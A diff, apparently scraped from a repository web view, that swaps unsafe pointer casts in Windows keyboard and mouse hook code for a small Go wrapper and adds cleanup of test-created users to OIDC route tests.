kb := (*kbdllhookstruct)(wininterop.Pointer(lParam))
|
||||||
|
|
||||||
if kb.dwExtraInfo == InputMarker() {
|
if kb.dwExtraInfo == InputMarker() {
|
||||||
ret, _, _ := procCallNextHookEx.Call(0, uintptr(nCode), wParam, lParam)
|
ret, _, _ := procCallNextHookEx.Call(0, uintptr(nCode), wParam, lParam)
|
||||||
@@ -495,7 +497,7 @@ func mouseHookProc(nCode int, wParam uintptr, lParam uintptr) uintptr {
|
|||||||
return ret
|
return ret
|
||||||
}
|
}
|
||||||
|
|
||||||
ms := (*msllhookstruct)(unsafe.Pointer(lParam))
|
ms := (*msllhookstruct)(wininterop.Pointer(lParam))
|
||||||
|
|
||||||
if ms.dwExtraInfo == InputMarker() {
|
if ms.dwExtraInfo == InputMarker() {
|
||||||
ret, _, _ := procCallNextHookEx.Call(0, uintptr(nCode), wParam, lParam)
|
ret, _, _ := procCallNextHookEx.Call(0, uintptr(nCode), wParam, lParam)
|
||||||
|
|||||||
@@ -0,0 +1,12 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package wininterop
|
||||||
|
|
||||||
|
import "unsafe"
|
||||||
|
|
||||||
|
// Literally just a wrapper for pointers so they're not fucked by the shit linter.
|
||||||
|
|
||||||
|
//go:nocheckptr
|
||||||
|
func Pointer(address uintptr) unsafe.Pointer {
|
||||||
|
return *(*unsafe.Pointer)(unsafe.Pointer(&address))
|
||||||
|
}
|
||||||
@@ -1,6 +1,6 @@
|
|||||||
import { afterAll, beforeAll, describe, expect, test } from "bun:test";
|
import { afterAll, afterEach, beforeAll, describe, expect, test } from "bun:test";
|
||||||
import { getConfig, updateOidcConfig, updateSecurityConfig, type Config } from "../../config";
|
import { getConfig, updateOidcConfig, updateSecurityConfig, type Config } from "../../config";
|
||||||
import { createUser } from "../../users";
|
import { createUser, deleteUser } from "../../users";
|
||||||
import { createOidcLoginRedirect, resolveOidcUser } from "../oidc";
|
import { createOidcLoginRedirect, resolveOidcUser } from "../oidc";
|
||||||
import { getOidcLocalMfaBlockReason, handleOidcRoutes } from "./oidc-routes";
|
import { getOidcLocalMfaBlockReason, handleOidcRoutes } from "./oidc-routes";
|
||||||
|
|
||||||
@@ -11,6 +11,7 @@ const server = {
|
|||||||
let originalOidc: Config["oidc"];
|
let originalOidc: Config["oidc"];
|
||||||
let originalSecurity: Config["security"];
|
let originalSecurity: Config["security"];
|
||||||
const originalFetch = globalThis.fetch;
|
const originalFetch = globalThis.fetch;
|
||||||
|
const createdUserIds: number[] = [];
|
||||||
|
|
||||||
beforeAll(() => {
|
beforeAll(() => {
|
||||||
originalOidc = { ...getConfig().oidc, scopes: [...getConfig().oidc.scopes] };
|
originalOidc = { ...getConfig().oidc, scopes: [...getConfig().oidc.scopes] };
|
||||||
@@ -23,6 +24,13 @@ afterAll(async () => {
|
|||||||
await updateSecurityConfig(originalSecurity);
|
await updateSecurityConfig(originalSecurity);
|
||||||
});
|
});
|
||||||
|
|
||||||
|
afterEach(() => {
|
||||||
|
while (createdUserIds.length > 0) {
|
||||||
|
const id = createdUserIds.pop();
|
||||||
|
if (typeof id === "number") deleteUser(id);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
describe("OIDC routes", () => {
|
describe("OIDC routes", () => {
|
||||||
test("status reports disabled when OIDC is not configured", async () => {
|
test("status reports disabled when OIDC is not configured", async () => {
|
||||||
const req = new Request("https://localhost/api/oidc/status");
|
const req = new Request("https://localhost/api/oidc/status");
|
||||||
@@ -86,6 +94,7 @@ describe("OIDC routes", () => {
|
|||||||
test("email linking does not fall back to local usernames", async () => {
|
test("email linking does not fall back to local usernames", async () => {
|
||||||
const username = `oidc_link_${Date.now().toString(36)}`;
|
const username = `oidc_link_${Date.now().toString(36)}`;
|
||||||
const created = await createUser(username, "Aa1!VeryLongTestPassword_2026", "operator", "test");
|
const created = await createUser(username, "Aa1!VeryLongTestPassword_2026", "operator", "test");
|
||||||
|
if (typeof created.userId === "number") createdUserIds.push(created.userId);
|
||||||
expect(created.success).toBe(true);
|
expect(created.success).toBe(true);
|
||||||
|
|
||||||
const oidc: Config["oidc"] = {
|
const oidc: Config["oidc"] = {
|
||||||
|
|||||||
Reference in New Issue
Block a user